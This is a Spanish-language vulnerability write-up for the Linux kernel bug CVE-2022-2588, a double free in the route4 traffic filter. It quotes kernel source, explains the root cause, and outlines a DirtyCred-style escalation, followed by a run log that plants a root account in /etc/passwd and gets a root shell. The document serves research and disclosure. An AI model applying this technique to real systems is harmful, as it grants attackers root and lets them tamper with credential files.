
Código de exploit para CVE-2022-2588
El error está corregido en Linux v5.19 mediante este commit.
El error se introdujo en Linux v3.17 mediante este commit en 2014. Requiere User Namespaces para activarse. Este error es muy similar a CVE-2021-3715, causado por una operación incorrecta en la lista enlazada de route4_filter. Más detalles de CVE-2021-3715 pueden encontrarse en la charla de BlackHat (página 16). A continuación se presentan algunos detalles breves de CVE-2022-2588.
Lo siguiente muestra algunos fragmentos de código importantes de la función route4_change para entender CVE-2022-2588.
static int route4_change(...)
{
...
f = kzalloc(sizeof(struct route4_filter), GFP_KERNEL); [0]
...
// if there exists a filter with the same handler, copy some information
if (fold) { [1]
f->id = fold->id;
f->iif = fold->iif;
f->res = fold->res;
f->handle = fold->handle;
f->tp = fold->tp;
f->bkt = fold->bkt;
new = false;
}
// initialize the new filter
err = route4_set_parms(net, tp, base, f, handle, head, tb, [2]
tca[TCA_RATE], new, flags, extack);
if (err < 0)
goto errout;
// insert the new filter to the list
h = from_hash(f->handle >> 16); [3]
fp = &f->bkt->ht[h];
for (pfp = rtnl_dereference(*fp);
(f1 = rtnl_dereference(*fp)) != NULL;
fp = &f1->next)
if (f->handle < f1->handle)
break;
tcf_block_netif_keep_dst(tp->chain->block);
rcu_assign_pointer(f->next, f1);
rcu_assign_pointer(*fp, f);
// remove fold filter from the list if fold exists
if (fold && fold->handle && f->handle != fold->handle) { [4]
th = to_hash(fold->handle);
h = from_hash(fold->handle >> 16);
b = rtnl_dereference(head->table[th]);
if (b) {
fp = &b->ht[h];
for (pfp = rtnl_dereference(*fp); pfp;
fp = &pfp->next, pfp = rtnl_dereference(*fp)) {
if (pfp == fold) {
rcu_assign_pointer(*fp, fold->next); [5]// remove the old from the linked list
break;
}
}
}
}
...
// free the fold filter if it exists [6]
if (fold) {
tcf_unbind_filter(tp, &fold->res);
tcf_exts_get_net(&fold->exts);
tcf_queue_work(&fold->rwork, route4_delete_filter_work);
}
La función está implementada para inicializar/reemplazar el objeto route4_filter. El filtro usa handle como un identificador único para distinguir entre cada filtro. Si existe un manejador que ya ha sido inicializado antes (es decir, la variable fold no es nula), se actualizará el filtro eliminando el antiguo y agregando uno nuevo; de lo contrario, solo se agregará uno nuevo.
En [0], el kernel asigna el objeto route4_filter. En [1], si fold no está vacío (lo que significa que existe un filtro con el mismo manejador), copia cierta información al nuevo filtro y lo inicializa en [2], luego inserta el nuevo filtro en la lista en [3]. Si existe el filtro antiguo, se elimina de la lista en [4] y se libera en [6].
El error ocurre en [4], que verifica si existe un filtro antiguo que deba eliminarse. La condición asegura que el manejador no sea cero y que coincida con el manejador del nuevo filtro. Esta condición no se alinea con la condición de liberación del filtro en [6], que solo verifica si el filtro antiguo existe. Por lo tanto, si un usuario crea un filtro cuyo manejador es 0 y luego desencadena su reemplazo, el filtro no se desvinculará en [4] pero se liberará en [6] debido a que sus condiciones no son las mismas.
Dado que este error es similar a CVE-2021-3715, sus primitivas son casi las mismas. Los lectores pueden consultar la charla de BlackHat para una descripción más detallada de las primitivas. Este informe muestra la explotación siguiendo la idea de DirtyCred.
Dado que el fold liberado aún está en la lista enlazada después de desencadenar el error, podemos liberar fold una vez más, lo que eventualmente causará un doble libre del objeto route4_filter y del objeto route4_filter->exts.action si CONFIG_NET_CLS_ACT está habilitado.
Los códigos de explotación utilizan estas dos capacidades de doble libre para demostrar el ataque sobre las credenciales de tareas (utilizando kmalloc-192 double free, próximamente) y sobre las credenciales de archivo abierto (utilizando kmalloc-256 double free).
Siguiendo la idea de DirtyCred, el código de explotación intercambia la credencial del archivo después de las verificaciones de permisos, para poder escribir cualquier contenido en archivos con permiso de lectura. Idealmente, el código funciona en todas las versiones del kernel afectadas por el error. Cabe señalar que, para garantizar que el código funcione en kernels antiguos donde msg_msg está aislado en kmalloc-rcl-*, el exploit usa un objeto de spray diferente.
[ghost@localhost ~]$ ./exploit
self path /home/ghost/./exploit
prepare done
Old limits -> soft limit= 14096 hard limit= 14096
starting exploit, num of cores: 32
defrag done
spray 256 done
freed the filter object
256 freed done
double free done
spraying files
found overlap, id : 257, 1061
start slow write
closed overlap
got cmd, start spraying /etc/passwd
spray done
write done, spent 1.621078 s
should be after the slow write
succeed
[ghost@localhost ~]$ head -n 4 /etc/passwd
user:$1$user$k8sntSoh7jhsc6lwspjsU.:0:0:/root/root:/bin/bash
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
[ghost@localhost ~]$ su user # the password is user
Password:
sh-4.4# id
uid=0(user) gid=0(root) groups=0(root)
El exploit fue escrito para funcionar en la mayor cantidad posible de distribuciones. Se confirmó que funciona en:
Por favor inicia sesión con el usuario low y contraseña low